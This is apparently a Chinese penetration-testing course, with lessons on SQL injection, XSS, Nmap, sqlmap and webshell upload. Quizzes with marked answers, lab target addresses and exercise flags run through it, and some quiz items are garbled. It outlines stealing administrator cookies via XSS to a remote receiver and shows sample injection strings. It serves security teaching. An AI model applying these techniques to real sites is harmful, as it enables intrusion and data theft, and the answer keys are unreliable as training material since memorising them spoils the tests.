**内部声明实体** **引用外部实体** 或者

XXE的危害

- 读取任意文件 执行系统命令,但需要有 expect 插件 扫描网站的端口以及是否存在某些目录或文件 通过 http 协议发起 SSRF 攻击

如何防御XXE攻击?

- 使用开发语言提供的禁用外部实体的方法 过滤用户提交的XML数据

漏洞防御

没有一个系统是安全的。

主要有三个方面:
- 从源头上解决 通用过滤代码 第三方的防护

http://video.twosecurity.cn/%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-%E9%98%B2%E5%BE%A1.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/83080700_1566555895.png

下面有关网络安全说法正确的是?|只要安装了杀毒软件,就不会感染病毒|公司服务器安装有防火墙就安全了|!可以通过web应用进入企业内网|企业内网是绝对安全的

总结

工欲善其事,必先利其器。 掌握漏洞的基本类型,学会任何检测分析防范,将会使接下来的学习事半功倍。


http://video.twosecurity.cn/%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-%E7%BB%93%E6%9D%9F.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/13468600_1566555896.png

有关常见的漏洞类型下列正确的是?|CSRF和SSRF是一样的|SQL注入产生的原因是数据库管理员账户密码泄露|!XSS注入是未能处理用户输入造成的|造成命令执行漏洞的原因是服务器会执行命令

法律声明




(该课件仅用于信息防御技术教学 请勿用于其他用途)

渗透测试

渗透测试是通过模拟黑客的攻击方法来评估计算机网络系统的安全问题。


http://video.twosecurity.cn/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%9F%BA%E7%A1%80/%E5%BC%80%E5%A7%8B%E4%BB%8B%E7%BB%8D.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/31841200_1566802017.png

渗透测试的类型:
选择的渗透测试类型取决于公司和组织的用途和范围,他们是否想要模拟员工、网络管理员或外部来源的攻击。通常,有三种不同类型的渗透测试:
- 黑盒渗透测试 白盒渗透测试 灰盒渗透测试
在黑盒渗透测试中,测试人员没有提供关于他将要测试的应用程序的许多信息,测试人员有责任收集有关目标网络,系统或应用程序的信息。 在白盒渗透测试中,测试人员将获得有关网络,系统或应用程序的完整信息以及源代码,操作系统详细信息和其他所需信息。它可以被认为是模拟内部来源的攻击。 在灰盒渗透测试中,测试人员将具有应用程序或系统的部分知识。因此,它可以被认为是外部黑客的攻击,黑客已经非法访问组织的网络基础设施文档。
以下关于渗透测试说法错误的是?|渗透测试是通过模拟恶意黑客的攻击方法,来评估信息系统安全的一种评估方法|渗透测试是选择不影响业务系统正常运行的攻击方法进行的测试,是一个渐进的并且逐步深入的过程|!执行情况良好的渗透测试无法证明不充分的安全可能导致重大损失,对于网络安全组织价值不大|渗透测试过程包括了对系统的任何弱点、技术缺陷或漏洞的主动分析,这个分析从一个攻击者可能存在的位置来进行的,并且从这个位置有条件主动利用安全漏洞

关于网络安全技术学习相关方式,以下说法正确有()|出于学习的角度,可以未经许可可对某网站进行渗透测试|!可搭建虚拟仿真环境来学习一些入侵与防御的技术|!可以参加一些技术学习类比赛来锻炼自己的能力|可以未经许可为朋友的网站进行免费的渗透测试|!可以学习基础知识的同时,关注一些安全事件,分析问题原因

渗透测试执行标准

渗透测试执行标准(Penetration Testing Execution Standard:PTES) “入门的渗透测试,首先需要了解渗透测试的流程、步骤与方法。尽管渗透目标的环境各不相同,但依然可以用一些标准化的方法体系进行规范和限制。”


http://video.twosecurity.cn/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%9F%BA%E7%A1%80/%E6%89%A7%E8%A1%8C%E6%A0%87%E5%87%86.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/53897600_1566802017.png

以下不属于渗透测试执行标准内容的是|后渗透|威胁建模|漏洞利用|!代码审计

渗透测试执行标准七个阶段
|第一阶段=前期交互 |第二阶段=信息收集 |第三阶段=威胁建模 |第四阶段=漏洞分析 |第五阶段=漏洞利用 |第六阶段=后渗透 |第七阶段=编写报告

渗透测试(PTES)脑图|https://resource-ssl.smartgslb.com/resources/PTES-MindMap-CN1.pdf

执行流程

渗透测试执行流程,适用于渗透测试工程师的渗透测试执行流程。

这里分享一套适用于渗透测试工程师的渗透测试流程:
- 目标确认 信息收集 漏洞发现 漏洞利用 权限维持、内网渗透 目标获取、痕迹清理

http://video.twosecurity.cn/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%9F%BA%E7%A1%80/%E6%89%A7%E8%A1%8C%E6%B5%81%E7%A8%8B.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/74969500_1566802017.png

有关渗透测试执行流程说法正确的是?|收集的信息可用于渗透测试之外的用途|如果发现比较有价值的漏洞可以进行公开|!渗透测试有可能需要进行内网渗透|渗透测试完成后不同清理痕迹,方便下次渗透测试

目标确认

通过 ip、域名、app、数据系统、公司名等等信息,以及需要获取的具体权限大小要求。 明确渗透测试最终目的是什么?


http://video.twosecurity.cn/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%9F%BA%E7%A1%80/%E7%9B%AE%E6%A0%87%E7%A1%AE%E8%AE%A4.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/31906100_1566802018.png

下列关于目标确认说法错误的是?|明确渗透测试的目标有利于渗透测试的顺利开展|搞清楚渗透测试的目标可以避免一些不必要的冲突|!渗透测试的目标取决于渗透测试工程师,可以拿权限拿数据|其实可以不用确认目标,走一步看一步就可以了

信息收集

收集的信息越多,意味着攻击的面越广。

常见的关键信息有: 域名 IP及端口 子域名 应用服务系统、版本 开源情报 部署服务器的信息、应用信息等


http://video.twosecurity.cn/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%9F%BA%E7%A1%80/%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/59400600_1566802018.png

下列有关信息收集说法正确的是?|!收集到的信息只能用于渗透测试使用|域名下的信息都没有用,子域名信息也肯定没有用|可以不用收集信息,有个网站域名就直接去测试就可以了|没有思路的时候才进行信息收集
拓展学习
https://osintframework.com/


工具推荐

https://www.paterva.com

https://www.jianshu.com/p/93ab0265375b

https://bitbucket.org/LaNMaSteR53/recon-ng.git

https://www.freebuf.com/sectool/141544.html

https://github.com/laramies/theHarvester

https://cloud.tencent.com/developer/news/47698


上述工具均内置于Kali系统中,也可自行下载安装使用
域名信息 正向记录(mx、ns、soa、txt、spf、cname、a 等等) mx:看企业邮箱是哪家的 spf:企业邮箱和员工真实ip段 ns,soa:看有域传送或者域名takeover cname:兄弟域名发掘或常见域名takeover txt:偶尔有一些信息 全网域名搜集: zone file 被动dnslog:网络安全实验室 flint 主动dnsbrute ssl协议证书 反向查询(whois信息反查:电话、邮箱、姓名、组织等) 域名反查相关: https://community.riskiq.com/home https://dnstrails.com/ http://web.netlab.corp.qihoo.net/ 备案信息 正向(域名、备案号) 反向(姓名、证件号、电话、备案号) 网页分词信息关联 子域名、兄弟域名 ssl证书 IP信息 ip各个维度信息(ISP、云ip、idc、ipip、net、maxmind等定位,ip定位GPS信息) ip反向记录 dns反向解析ip等、ip关联a记录等 c端信息 资产信息 综合域名和ip信息,进行资产探测和识别

漏洞发现

通过多种途径发现漏洞,常用的是传统漏洞的发现,根据前面所讲的漏洞类别进行手工或工具检测漏洞。


http://video.twosecurity.cn/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%9F%BA%E7%A1%80/%E6%BC%8F%E6%B4%9E%E5%8F%91%E7%8E%B0.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/14122800_1566802019.png

以下有关漏洞发现说法错误的是?|传统漏洞可通过手工或工具进行识别|现有的框架漏洞如果存在可以直接使用|!所有系统登录入口都存在弱口令|渗透测试工程师可能需要代码审计进行挖掘漏洞

漏洞利用

漏洞利用是指通过对已发现漏洞进行深度的攻击,达到某些效果的一种手段。 由于针对不同的漏洞其自身特点,漏洞利用方式也不尽同,漏洞利用考验一个人对漏洞理解的深度问题,与漏洞发现有很大的不同,要想在渗透测试过程中能够有效的对目标进行攻击,需要充分了解各个漏洞的利用方式,并且越多越好,这样我们才能应不同的场景,建议大家在经典Web漏洞的基础上,针对每种漏洞通过搜索漏洞名称+利用方式(如SQL注入漏洞利用方式)不断的深入学习,保持对各类公开漏洞的关注,学习各类安全自动化工具的原理,如通过学习SQLMAP源码学习SQL注入利用,学习XSS平台利用代码学习XSS利用。


http://video.twosecurity.cn/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%9F%BA%E7%A1%80/%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/36371600_1566802019.png

有关漏洞利用说法错误的是?|SQL注入可以用了"脱裤"|XSS获取管理员的Cookie|XSS也可以造成很大的危害|!SQL注入不会被发现

课后总结

信息收集非常重要,如果后续操作无法进行,建议再次进行信息收集,思路要清晰,根据客观条件做分析。熟练地掌握传统漏洞的原理以及检测,才能更好的进行渗透测试。


http://video.twosecurity.cn/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%9F%BA%E7%A1%80/%E8%AF%BE%E7%A8%8B%E7%BB%93%E6%9D%9F.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/79211300_1566802019.png
再多的理论都比不上自己亲身进行一次渗透测试实际操作。

相关注意事项:
不要进行诸如ddos攻击,不破坏数据 测试之前对重要数据进行备份 任何测试执行前必须和客户进行沟通,以免引来不必要的麻烦 可以对原始系统生成镜像环境,然后对镜像环境进行测试 明确渗透测试范围

关于渗透测试说法正确是|渗透测试就是对目标网站进行入侵|渗透测试可以为所欲为,获取权限、获取数据等等|渗透测试的步骤流程必须一次完成|!渗透测试可以找出站点系统的漏洞

法律声明




(该课件仅用于信息防御技术教学 请勿用于其他用途)

渗透测试实战


我们为什么要做渗透测试?
当代很多企业在保护关键基础设施的安全计划中投入了数百万美元,来找出防护盾的缝隙,防止敏感数据外泄。 渗透测试是指能够识别出这些安全计划中的系统脆弱点与不足之处的一种最为有效的技术方式。 通过模拟黑客入侵尝试挫败安全控制设施并绕开安全防御机制,渗透测试工程师能够找出攻击者可能攻陷企业安全计划、并对企业带来严重破坏后果的方法。
http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%B8%80/1%E8%AF%BE%E7%A8%8B%E4%BB%8B%E7%BB%8D.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/48928600_1570847314.png

渗透测试的主要目标是什么?|!评估|修补|!检测|威慑

复习-基础知识

温故而知新


什么是sql注入?
SQL注入指的是发生在Web应用对后台数据库查询语句处理存在的安全漏洞,简单的说,就是在输入字符串中嵌入SQL指令,在设计程序中忽略了对特殊字符串的检查,这些嵌入的指令便会被误认为正常的SQL指令,在数据库中执行,因此可以对后台数据库进行查看等工作,甚至破快后台数据库造成严重后果。 目前SQL注入大致分为普通注入和盲注:
普通注入:根据后台数据库提示有价值的错误信息进行注入 盲注:有经验的管理员在给出错误页面时,没有提供详细的错误信息。测试者需要运用脚本通过仅有的判断信息(比如:时间差)对表中的每一个字段进行探测,从而实现注入的技术。(盲注的难度较大,但注入测试中经常会遇到,实用性较高)

http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%B8%80/2SQL%E6%B3%A8%E5%85%A5%E7%9A%84%E7%B1%BB%E5%9E%8B.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/12656500_1570847315.png

SQL注入的五种类型
|通过页面的错误信息进行注入=报错注入 |select id,name,price from goods where id=1 union select 1,user()3--+-;=Union注入 |根据服务端响应的时间进行判断=时间注入 |通过真假条件进行判断=布尔盲注 |多语句,通过分号执行多条SQL语句=堆叠注入

http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%B8%80/3SQL%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/11470800_1570847316.png

SQL注入防护通常针对编码进行安全加固。以下哪一种不属于加固的范畴?|!使用web安全防火墙|对输入进行验证|规范化|使用参数化语句

已知某个链接存在SQL注入漏洞(http://www.xxx.com/index.asp?id=11),以下哪个URL访问之后,页面不会报错|http://www.xxx.com/index.asp?id=11'|http://www.xxx.com/index.asp?id=11 and 1=2|http://www.xxx.com/index.asp?id=11 and 0|!http://www.xxx.com/index.asp?id=11 and 1=1

关于SQL注入说法正确的是()|SQL注入攻击士攻击者直接对web的攻击|SQL注入除了可以让攻击者绕过认证之外,不会再有其他的危害|SQL注入漏洞可以通过加固服务器来避免|!SQL注入可以造成整个数据库泄露

通常会在哪些地方传递参数值而引起SQL注入?|web表单|url包含的参数值|cookies|!以上都是

项目介绍

通过项目实战增强自身渗透测试经验,通过经验的累计让渗透测试流程更加熟练以及牢牢掌握基本漏洞的检测与利用。


http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%B8%80/1%E9%A1%B9%E7%9B%AE%E5%9F%BA%E6%9C%AC%E4%BB%8B%E7%BB%8D.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/60385300_1570847316.png

Nmap扫描
Nmap是一款网络扫描和主机检测的非常有用的工具。Nmap是不局限于仅仅收集信息和枚举,同时可以用来作为一个漏洞探测器或安全扫描器。它可以适用于winodws、linux、mac等操作系统。
主要功能有:

主机存活扫描 端口扫描 服务扫描 版本漏洞扫描

参数|作用 -sT|TCP connect()扫描,这种方式会在目标主机的日志中记录大批的链接请求以及错误信息 -sP|ping扫描,加上这个参数会使用ping扫描,只有主机存活,nmap才会继续扫描,默认都会使用ping扫描 -sS|半开扫描,一般不会记入日志,不过需要root权限 -sU|UDP扫描,但是一般是不可靠的 -sA|用来穿过防火墙的规则集,速度慢 -sF/-sN|秘密FIN数据包扫描、Xmas Tree、Null扫描模式 -sV|端口服务及版本 -A|包含了-sV,-O,全面系统检测,启动脚本检测,扫描等 -P0|扫描之前不使用ping,适用于防火墙禁止ping,比较有用 -v|显示扫描过程 -p|指定端口号 -h|帮助文档 -O|启用远程操作系统检测,容易误报 -T4|针对TCP端口禁止动态扫描延迟超过10ms -oN/-oX/-oG|将报告写入文件,格式分别为正常(自定义.txt)、XML、grepable -iL|读取主机列表 -sC|--script=default 默认的脚本扫描,主要是搜集各种应用服务的信息

小李进行了 nmap 扫描,语句为:nmap -F -Pn -D 10.10.10.100,10.10.10.110,ME -e eth0 -g 2333 10.10.10.120 请问下列解释错误的是()|-F 参数表示快速扫描100个端口,-Pn不进行ping扫描|!-e 表示使用 ip 诱骗方式掩饰真实 ip,使用的是 10.10.10.100 和 10.10.10.110|!ME 表示自己真实的 ip,这里是 10.10.10.110|-e 参数指定 eth0 网卡发送数据包|-g 参数指定发送的端口号,这里是 2333

初步探测

若发现可能存在漏洞的点,可以进行初步的简单尝试。


http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%B8%80/4%E5%88%9D%E6%AD%A5%E6%8E%A2%E6%B5%8B.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/50503400_1570847317.png

思考r=content,id=5 ,这些数据是什么意思?下列说法错误的是|id=5,可以尝试改后面的数字,因为可能存在SQL注入|r=content以及r=about等等都是跟页面信息相关的|!看到id=5就可以知道它一定存在SQL注入漏洞|url往往会暴露很多信息

问题:动手试试,你可以发现哪些漏洞?

实战项目演练|进行自主观测和初步漏洞发现|http://47.106.80.112:8011/|

发现注入点

只有不断的尝试,才能有所突破。


关于SQL注入:
首先,我们要了解SQL注入的原理,SQL注入的几种类型。 然后判断能否进行SQL注入?常见的判断方法就是根据页面显示以及报错信息。 还需要判断数据库类型,然后选择一种合适的注入方法。
http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%B8%80/5%E5%8F%91%E7%8E%B0%E5%8F%AF%E8%83%BD%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E7%9A%84%E7%82%B9.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/87683800_1570847317.png

问题:该怎么进行注入?下面有几位同学表达了自己的观点,你觉得谁说得比较准确?|张同学:我搞渗透七年了,怎么进行注入?直接上sqlmap跑|李同学:我觉得可以先看看它报不报错,没报错就没办法进行SQL注入|王同学:在网上找payload复制粘贴进去尝试|!刘同学:我认为应该先输入一个'进行检测,观察是否存在报错注入

漏洞发现

从一步一步的尝试到发现漏洞,这是每一个渗透测试项目的必经之路。


http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%B8%80/6%E6%BC%8F%E6%B4%9E%E5%8F%91%E7%8E%B0.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/25457500_1570847318.png

SQL报错注入练习|尝试自己手动挖掘SQL报错注入|https://rimovni.exeye.run/mefe/hello|two{wi1L_s0_Bu5y}

获取信息

发现了存在的漏洞,如何利用它达到我们想要的目的。


http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%B8%80/7%E8%8E%B7%E5%8F%96%E4%BF%A1%E6%81%AF1.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/92954700_1570847318.png
什么是 Hackbar 插件? GET,POST请求时http协议中两个重要的请求,测试这些请求有很多工具,常见的就是网页测试。火狐或者Chrome浏览器都是常用的测试工具。很多情况下,我们需要测试POST请求,又不想下载工具怎么办?可以使用浏览器 Hackbar插件来完成这个任务。
火狐HackBar插件 安装|https://addons.mozilla.org/zh-CN/firefox/addon/hackbartool/?src=search
或者下载后自行安装:
一键获取 火狐Hackbar|https://github.com/Mr-xn/hackbar2.1.3
Hackbar 插件的使用: 下载安装完成后,在浏览器中按F9打开插件,有三个按钮,功能如下:
Load URL:将网址加载进框,便于修改 Split URL:按照&来分割提交参数,并且一个参数占一行 Execute:提交请求

思考:如何通过之前发现的漏洞获取信息。

一、报错注入获取信息

http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%B8%80/7%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5%E8%8E%B7%E5%8F%96%E4%BF%A1%E6%81%AF2.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/79966700_1570847321.png

SQL报错注入练习|尝试自己手动挖掘SQL注入,获取flag|http://visneges.reqresp.io/nan/login|two{wi1L_s0_Bu5y}

二、Union注入获取信息

Union 联合查询: 可以通过联合查询来查询指定的数据


http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%B8%80/7union%E6%B3%A8%E5%85%A5%E8%8E%B7%E5%8F%96%E4%BF%A1%E6%81%AF3.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/24983900_1570847322.png

通过写入union查询语句为什么没有返回我们想要的结果?|语句写错了|列数不对应|!由于union查询造成整个语句返回两条查询结果,但是页面只现实了一条|网络错误,没显示出来

http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%B8%80/7.union%E6%B3%A8%E5%85%A5%E8%8E%B7%E5%8F%964.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/60310200_1570847322.png

sql注入练习|union联合查询绕过登录检测|https://rimovni.exeye.run/matihe/hello|two{0rDer_6y_1Ist}

总结回顾

学而不思则罔,思而不学则殆。 得到渗透测试目标站点,进行信息收集,初步大体观察,尝试可能存在的漏洞点,漏洞的利用,获取信息。


思路整理
|得到渗透测试目标站点之后,我们需要做什么?=进行信息收集 |对整个网站进行大致观察之后,我们需要做什么?=尝试可能存在的漏洞点 |找到漏洞之后,我们需要做什么?=漏洞利用 |如果这是一个可以利用的漏洞,我们需要做什么?=获取信息

思考:接下来还可以进行的操作?

法律声明




(该课件仅用于信息防御技术教学 请勿用于其他用途)

初步侦察

上节课我们主要了解了渗透测试的基本流程,从拿到一个站点开始,逐步进行渗透测试,到获取到站点的信息。

在获取了信息之后,下一步我们需要做的就是尝试获得管理员权限,因为只有获得了足够的信息,我们才可能突破层层防御进入到站点的后台或获取其数据库数据。
数据库结构



注出表名、列名

http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%BA%8C/8%E6%B3%A8%E5%87%BA%E6%95%B0%E6%8D%AE1.mp4 |http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/92772200_1569231419.png

Select查询语句语法格式是|!Select
<目标列表达式>

…]FROM<表名>


]
] |Insert INTO<表名>
)]VALUES(<常量1>
) |Update(表名)Set列名1=常量表达式1
Where<条件表达式>
|Delete From<表名>
]

深入侦察

找到目标站点后台登录地址(管理员登录地址)。

御剑Web目录扫描工具,用来扫描站点后台,操作简单,扫描能力取决于字典大小。
安装 御剑(仅供学习使用)|https://resource-ssl.smartgslb.com/yujian.zip

http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%BA%8C/8%E6%9F%A5%E6%89%BE%E5%90%8E%E5%8F%B0%E7%99%BB%E5%BD%95%E5%9C%B0%E5%9D%802.mp4 |http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/19003000_1569231420.png

【思考】哪些漏洞可以获取服务器执行命令的权限?

实战练习场|使用御剑扫描|http://47.106.80.112:8011/ |

针对暴力破解攻击,网站后台常用的安全防护措施有哪些|!拒绝多次错误登录请求|检测cookie refeer的值|过滤特殊字符串|!修改默认的后台用户名

武器投递

文件上传、文件包含、命令执行、代码注入等这些漏洞可以获取服务器执行命令的权限。最直接的方式就是上传webshell,然后去获取服务器权限。
http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%BA%8C/8webshell3.mp4 |http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/51601500_1569231420.png

整个过程是怎么操作的?
|步骤一=寻找上传点 |步骤二=正常上传 |步骤三=拦截分析 |步骤四=改包上传 |步骤五=连接访问

SQL注入工具自动化检测


sqlmap简介:
sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

五种注入模式: 基于布尔的盲注,即可以根据返回页面判断条件真假的注入 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中 联合查询注入,可以使用union的情况下的注入 堆查询注入,可以同时执行多条语句的执行时的注入

除此之外,它还可以进行URL重写SQL注入测试、列举并爆破密码哈希值、获取表中数据个数、模拟测试手机环境站点和智能判断测试等功能。
http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%BA%8C/9%E5%B7%A5%E5%85%B7%E6%A3%80%E6%B5%8B.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/81095600_1569231420.png

安装sqlmap|https://resource-ssl.smartgslb.com/sqlmap.zip

安装 Burp suite|https://resource-ssl.smartgslb.com/burpsuite_pro_v1.7.12.zip

战术回顾

充分理解SQL注入漏洞的判断、检测、利用,能够熟练地进行手工检测漏洞以及各种工具的使用。


http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%BA%8C/10%E7%BB%93%E6%9D%9F%E8%AF%AD.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/8388500_1569231421.png

SQL注入练习|已知该页面存在SQL注入漏洞,尝试进行注入获取flag。|https://rimovni.exeye.run/fe/hello|two{pAss_A11_gAme}

法律声明




(该课件仅用于信息防御技术教学 请勿用于其他用途)

战前指导

通过SQL注入获取目标数据库中的数据,再通过获取帐户密码,进行爆破、后台路径成功地登录进入后台,再通过后台的文件上传漏洞,成功地获取网站的webshell,也就是获取了目标网站的权限。
http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%B8%89/1%E5%BC%80%E5%A7%8B.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/27505000_1571622945.png

什么是与主程序并行的辅助工具,能够依附于主程序,实现一些原本不能实现的功能,给程序的使用者带来更多的使用体验|外挂|病毒|漏洞|!插件

回顾复习


XSS的利用方式:

窃取用户信息 Cookie劫持 XSS钓鱼 模拟GET、POST请求操作用户的游览器,使用JAVASCRIPT模拟游览器发包 获得计算机部分权限等等

http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%B8%89/2.1%E5%9B%9E%E9%A1%BE.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/49687100_1571622945.png

以下容易出现XSS漏洞的地方是|!用户个人信息编辑|新闻浏览|!评论处|!用户反馈处
通过SQL注入写文件的方式提权。
http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%B8%89/2.2%E5%9B%9E%E9%A1%BE.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/69699100_1571622945.png

以下可以用于检测xss漏洞的代码是|!||<\!--|1'union select 1,user()3--+-

下面选项中属于绕过XSS Payload长度限制的方法的是|!使用短链接|使用img标签onerror属性存储payload|使用script但不使用src外部js资源方式存储payload|减少xss payload攻击的功能

XSS漏洞是否可以攻击服务端,为什么|可以,因为XSS可以获取管理员权限|可以,因为XSS可以获取用户信息|!不可以,因为XSS攻击代码是在客户端执行的|不可以,因为XSS不能获取数据库信息

初步观察目标站点

现在开始进行第二个实战战场的学习。先进入靶场自己动手试试,能不能找到注入点。


实战训练场二|通过所学内容进行渗透测试,寻找注入点|http://47.106.80.112:8016/|

http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%B8%89/3.1%E5%88%9D%E6%AD%A5%E8%A7%82%E5%AF%9F.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/90548700_1571622945.png

如果判断是否存在注入点?|!构造可以产生报错的输入|增加查询语句|输入js语句|进行数据库爆破

通过各种输入测试,判断某一个输入点是否存在注入点。


http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%B8%89/3.2%E5%88%9D%E6%AD%A5%E8%A7%82%E5%AF%9F.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/18258700_1571622946.png

对输入参数进行过滤可以预防以下哪些攻击?|跨站请求伪造、跨站脚本、DNS毒药|!SQL注入、跨站脚本、缓冲区溢出|SQL注入、跨站脚本、DNS毒药|SQL注入、跨站请求伪造、网络窃听

寻找突破口

对目标站点进行仔细的浏览排查,测试一些判断漏洞常用的输入。比如XSS的: 等等


http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%B8%89/4%E6%8E%A2%E6%B5%8B.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/55616700_1571622946.png

下列有关SQL注入,正确的是|屏蔽500错误响应后即时存在SQL注入漏洞也不会受到影响|SQL注入的防御对象是所有内部传入数据|SQL注入攻击不会威胁到操作系统的安全|!SQL注入攻击能够查看、修改或者删除数据库条目和表

侦察透析

在渗透测试中,每一种不确定的方式都应该去尝试。


http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%B8%89/5.1%E7%AA%83%E5%8F%96%E4%BF%A1%E6%81%AF.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/82894900_1571622946.png

XSS如何窃取管理员信息,窃取哪些信息?
通过特定XSS payload(即js代码),当管理员访问存在XSS payload的页面时,XSS payload得以在管理员浏览器客户端执行,即可获取管理员信息,包括管理员Cookie、当前页面地址、浏览器特征等信息,获取信息后可以通过http协议将信息发送出去。
http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%B8%89/5.2%E7%AA%83%E5%8F%96%E4%BF%A1%E6%81%AF.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/5380600_1571622947.png
查看cookie信息可以使用 document.cookie,或者使用 Chrome 浏览器插件:
下载 EditThisCookie|https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg/reviews

我们可以通过以下几个步骤进行XSS窃取管理员信息
|第一步=构建XSS payload |第二步=部署远程服务端用于接收XSS 窃取信息 |第三步=向存在XSS漏洞的页面插入XSS payload或向特定用户发送特定链接 |第四步=等待目标访问XSS页面或点击链接

练习:在靶场平台中尝试复现操作内容。

实战训练场二|听懂更要会操作。在训练场中练习所学内容,寻找突破口获取管理员信息|http://47.106.80.112:8016/|

定制化咨询

如果你看完了以上学习教程,仍然对某一些知识点有所疑问、或者你有很
明确
的提升需求,目前的视频教程并不能解决你的问题,欢迎扫描下方二维码添加老师了解【定制化咨询服务】。

什么是定制化咨询?

所谓定制化咨询,就是讲师会根据你现有的知识储备以及你想要的达到的目标,定制化的为你制定学习方案。时长一般为一个半月左右,学习期间内进行密集化提升,会要求你每天有足够的时间学习,保障最终的学习效果。

咨询的核心不是学习知识点,是学怎么发现问题、解决问题的方法。学思维模式,学可以具有创造力的途径。

在学习期间内,除了要学习必要的的知识点以外,导师会一对一的督促你进行实战训练,并在实战的过程中帮你分析遇到的问题。如果你曾经有过遇到WAF绕不过去、拿着目标不知道如何下手、有了漏洞不知道如何扩展等等、诸如此类只有在实战中才会遇到的难题,那么这就是定制化咨询可以帮你解决。

什么是明确的提升需求?

